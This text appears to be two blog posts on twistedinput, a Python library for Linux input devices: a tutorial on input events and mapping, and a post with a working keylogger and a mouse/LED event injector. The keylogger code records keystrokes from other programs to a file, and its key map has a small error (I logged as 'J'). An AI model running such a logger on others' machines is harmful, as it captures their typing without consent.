Zobrazují se příspěvky se štítkemevent. Zobrazit všechny příspěvky
Zobrazují se příspěvky se štítkemevent. Zobrazit všechny příspěvky

čtvrtek 10. října 2013

Playing with twistedinput

In previous articles I described some basic stuff about twisted input. With this boring start, let's make some fun. In this short article I'll show you, how to build simple keylogger and event injector. Please don't abuse this for doing anything malicious. I don't take responsibility for it.

Simple keylogger

Twistedinput is ported for Linux systems only. Since most SW for Linux is also open-source, it's not hard to find a good keylogger without worrying about malware infection. But you can make your own. See the following example.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory
from twistedinput.defines import *
from twisted.internet import reactor
import sys

class KeyNames(object):

    keyMap = None

    def __init__(self):
        self.keyMap = {EV_KEY : self.getKeyNames()}

    def getKeyNames(self):
        """
        get mapping object for naming keys
        """
        return {
            KEY_A :     "A",    KEY_B :     "B",    KEY_C :     "C",
            KEY_D :     "D",    KEY_E :     "E",    KEY_F :     "F",
            KEY_G :     "G",    KEY_H :     "H",    KEY_I :     "J",
            KEY_K :     "K",    KEY_L :     "L",    KEY_M :     "M",
            KEY_N :     "N",    KEY_O :     "O",    KEY_P :     "P",
            KEY_Q :     "Q",    KEY_R :     "R",    KEY_S :     "S",
            KEY_T :     "T",    KEY_U :     "U",    KEY_V :     "V",
            KEY_W :     "W",    KEY_X :     "X",    KEY_Y :     "Y",
            KEY_Z :     "Z"}

    def getKeyName(self, event):
        try:
            return self.keyMap[event.type][event.code]
        except KeyError:
            return None

class LoggerProtocol(protocol.EventProtocol):

    keyNames = None
    logFile = None

    def __init__(self, eventFactory, keyNames, logFile):
        protocol.EventProtocol.__init__(self, eventFactory)
        self.keyNames = keyNames
        self.logFile = open(logFile, 'a')

    def eventReceived(self, event):
        if event.value:
            key = self.keyNames.getKeyName(event)
            if key is not None:
                self.logKey(key)

    def logKey(self, key):
        self.logFile.write(key)
        self.logFile.flush()

    def connectionLost(self, reason):
        self.logFile.close()

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <log file>" % sys.argv[0]
        exit(1)
    dev = device.EventDevice(
        LoggerProtocol(
            factory.InputEventFactory(),
            KeyNames(),
            sys.argv[2]),
        sys.argv[1])
    dev.startReading()
    reactor.run()

if __name__ == '__main__':
    main()

KeyNames class does basically same think as EventMapping classes. But EventMapping has a different contract, describing its usage and purpose. It's good idea to define another class for naming a keys rather than modifying some mapping classes or use KeyNames as mapping.

For keep code simple, I named only character keys. You can make better keylogger in the same approach.

You can run this script in a background with arguments defining path to you keyboard device and log file respectively. After that it will log pressed keys into file, even if you type into another program.

Event injector

Another interesting thing is generate fake key strokes by software. You can type characters, move a mouse cursor or send power button event which shut down your computer.

Let's write another example. Following program periodically blink with CapsLock LED on you keyboard. Additionally it sniff key strokes and whenever you press left Ctrl button it moves your mouse by 10 pixels in random direction.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory, event, mapping
from twistedinput.defines import *
from twisted.internet import reactor, task
import sys
import random

class EventGenerator(object):

    def createSyncEvent(self):
        return event.InputEvent.buildInputEvent(EV_SYN, SYN_REPORT, 0)

    def createEventSeq(self):
        raise NotImplementedError("override in subclass")

class BlinkCaps(EventGenerator):

    state = None
    keyboardProtocol = None

    def __init__(self, keyboardProtocol):
        self.state = False
        self.keyboardProtocol = keyboardProtocol

    def __call__(self):
        for event in self.createEventSeq():
            self.keyboardProtocol.transport.write(event.toBytes())

    def createLedEvent(self):
        value = [0, 1][self.state]
        self.state = not self.state
        return event.InputEvent.buildInputEvent(EV_LED, LED_CAPSL, value)

    def createEventSeq(self):
        return [self.createLedEvent(), self.createSyncEvent()]

class MouseMove(EventGenerator):


    def __init__(self, moveDistance):
        self.moveDistance = moveDistance

    def getAxis(self):
        return random.choice([REL_X, REL_Y])

    def getMove(self):
        return random.choice([self.moveDistance, -self.moveDistance])

    def createMoveEvent(self):
        return event.InputEvent.buildInputEvent(EV_REL, self.getAxis(), self.getMove())

    def createEventSeq(self):
        return [self.createMoveEvent(), self.createSyncEvent()]

class KeyboardProtocol(protocol.EventProtocol):

    mouseProtocol = None
    mouseMove = None

    def __init__(self, *args, **kwargs):
        protocol.EventProtocol.__init__(self, *args, **kwargs)
        self.mouseMove = MouseMove(10)

    def keyLeftCtrl(self, event):
        if event.value:
            for event in self.mouseMove.createEventSeq():
                self.mouseProtocol.transport.write(event.toBytes())

class MouseProtocol(protocol.EventProtocol):

    def eventReceived(self, event):
        pass

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <mouse device>" % sys.argv[0]
        exit(1)
    keyboardProtocol = KeyboardProtocol(
        factory.InputEventFactory(),
        mapping.KeyboardMapping())
    keyboard = device.EventDevice(
        keyboardProtocol,
        sys.argv[1])

    mouseProtocol = MouseProtocol(
        factory.InputEventFactory())
    mouse = device.EventDevice(
        mouseProtocol,
        sys.argv[2])

    keyboardProtocol.mouseProtocol = mouseProtocol

    t = task.LoopingCall(BlinkCaps(keyboardProtocol))
    t.start(1.0)

    keyboard.startReading()

    reactor.run()

if __name__ == '__main__':
    main()

pátek 27. září 2013

Using twistedinput

Recently I described basics of asynchronous file reading with Twisted framework. Using this approach is build my twistedinput library. Now I would like describe more this library and show you basic usage.

InputEvent objects

Before we can start using twistedinput, you have to understand of basic building block of this library.

If you read previous article, you should remember, that we simply printed out length of received data. Let me quickly describe these data.

When you press button on your input device, protocol from previous article actually received couple of input_event structures. This structure is defined in linux/input.h header file.

struct input_event {
    struct timeval time;
    __u16 type;
    __u16 code;
    __s32 value;
};

Time is another structure. It is composed of two fields – seconds and microseconds. Both are 64-bit long. Type and code are unsigned 16-bit values. Value field is signed 32-bit value.

Twistedinput knows this structure and has wrapper class InputEvent for it. See the basic usage.

>>> from twistedinput.event import InputEvent 
>>> event = InputEvent.buildInputEvent(1, 2, 3) 
>>> print unicode(event) 
time: 1379719268.6574370, type: 0x0001, code: 0x0002, value: 0x00000003 
>>> event.time.seconds 
1379719268 
>>> event.type 
1 
>>> event.code 
2 
>>> event.value 
3 

Receiving events

Now you are familiar with InputEvent class. Lets write small script, which receives event from your input device. I'm using Genius gamepad with device file located at /dev/input/event15.

from twistedinput.device import EventDevice
from twistedinput.protocol import EventProtocol
from twistedinput.factory import InputEventFactory
from twisted.internet import reactor
import sys

class GamepadProtocol(EventProtocol):

    def eventReceived(self, event):
        print unicode(event)

gamepad = EventDevice(
    GamepadProtocol(InputEventFactory()),
    sys.argv[1])
gamepad.startReading()
reactor.run()

Twistedinput has protocol for receiving events. Is simply receive data from input device and save them in buffer. When it has enough data for creating an event, it use factory (given as first argument) for building it and calls eventReceived method.

When I run this script and press and release buttons 1, 2, 3 and 4 respectively, I get following output

buben@debian:~$ python gamepad.py /dev/input/event15 
time: 1379976614.640730, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.640733, type: 0x0001, code: 0x0120, value: 0x00000001 
time: 1379976614.640781, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.712725, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.712730, type: 0x0001, code: 0x0120, value: 0x00000000 
time: 1379976614.712774, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.888736, type: 0x0004, code: 0x0004, value: 0x00090002 
time: 1379976614.888741, type: 0x0001, code: 0x0121, value: 0x00000001 
time: 1379976614.888786, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.944742, type: 0x0004, code: 0x0004, value: 0x00090002 
time: 1379976614.944747, type: 0x0001, code: 0x0121, value: 0x00000000 
time: 1379976614.944790, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.192746, type: 0x0004, code: 0x0004, value: 0x00090003 
time: 1379976615.192752, type: 0x0001, code: 0x0122, value: 0x00000001 
time: 1379976615.192792, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.272742, type: 0x0004, code: 0x0004, value: 0x00090003 
time: 1379976615.272747, type: 0x0001, code: 0x0122, value: 0x00000000 
time: 1379976615.272788, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.632773, type: 0x0004, code: 0x0004, value: 0x00090004 
time: 1379976615.632778, type: 0x0001, code: 0x0123, value: 0x00000001 
time: 1379976615.632815, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.712743, type: 0x0004, code: 0x0004, value: 0x00090004 
time: 1379976615.712746, type: 0x0001, code: 0x0123, value: 0x00000000 
time: 1379976615.712768, type: 0x0000, code: 0x0000, value: 0x00000000 

There are 24 events in total. Four buttons has been pressed and released. There are three events for each physical event. In other words, when you press a button, three events is generated. Not all buttons generate three events, some generate only two.

Let's despite first three events which belongs to button 1.

time: 1379976614.640730, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.640733, type: 0x0001, code: 0x0120, value: 0x00000001 
time: 1379976614.640781, type: 0x0000, code: 0x0000, value: 0x00000000 

First event has type 0x4 and code 0x4. These values corresponds to symbolic names EV_MSC and MSC_SCAN in linux/input.h header file. This sort of events are not important to us for now.

The second one has type 0x1 and code 0x120. Symbolic names are EV_KEY and BTN_TRIGGER. So type telling us that some button has been pressed. Code describing which button has been pressed. And finally value is value of this button. This is the most important event for us.

The last one is synchronization event. It is used as event separator. We can ignore it too.

Using Mapping

Now we can handle events in one eventReceived method. It's fine if you are interested in for few event types. But what if you are writing driver for keyboard. Your eventReceived should be composed from very long list of elif statemets for handling all different key. That's not good idea. In this case event mapping comes for your rescue.

Event mapping maps event into their handle routines. Everything what you have to do is implement only those routines, which you are interested in.

Instance of mapping is second optional argument for EventProtocol. If omnited, you have to override eventReceived method. If you provide mapping, simply implement methods defined by mapping and only those, which are interesting for you. Let's look at following example.

from twistedinput.device import EventDevice
from twistedinput.protocol import EventProtocol
from twistedinput.factory import InputEventFactory
from twistedinput.mapping import GamepadEventMapping
from twisted.internet import reactor
import sys

class GamepadProtocol(EventProtocol):

    def button1(self, event):
        print "button 1:", event.value

    def button2(self, event):
        print "button 2:", event.value

    def button3(self, event):
        print "button 3:", event.value

    def button4(self, event):
        print "button 4:", event.value

    def nonMappedEvent(self, event):
        print "not supported event:", unicode(event)

gamepad = EventDevice(
    GamepadProtocol(
        InputEventFactory(),
        GamepadEventMapping()),
    sys.argv[1])
gamepad.startReading()
reactor.run()

Lets run this script and see its output

buben@debian:~$ python gamepad.py /dev/input/event15 
button 1: 1 
button 1: 0 
button 2: 1 
button 2: 0 
button 3: 1 
button 3: 0 
button 4: 1 
button 4: 0 

This is much better. If you don't implement method defined by mapping, nothing happened. If mapping doesn't map some event, nonMappedEvent method is called with this event as an argument.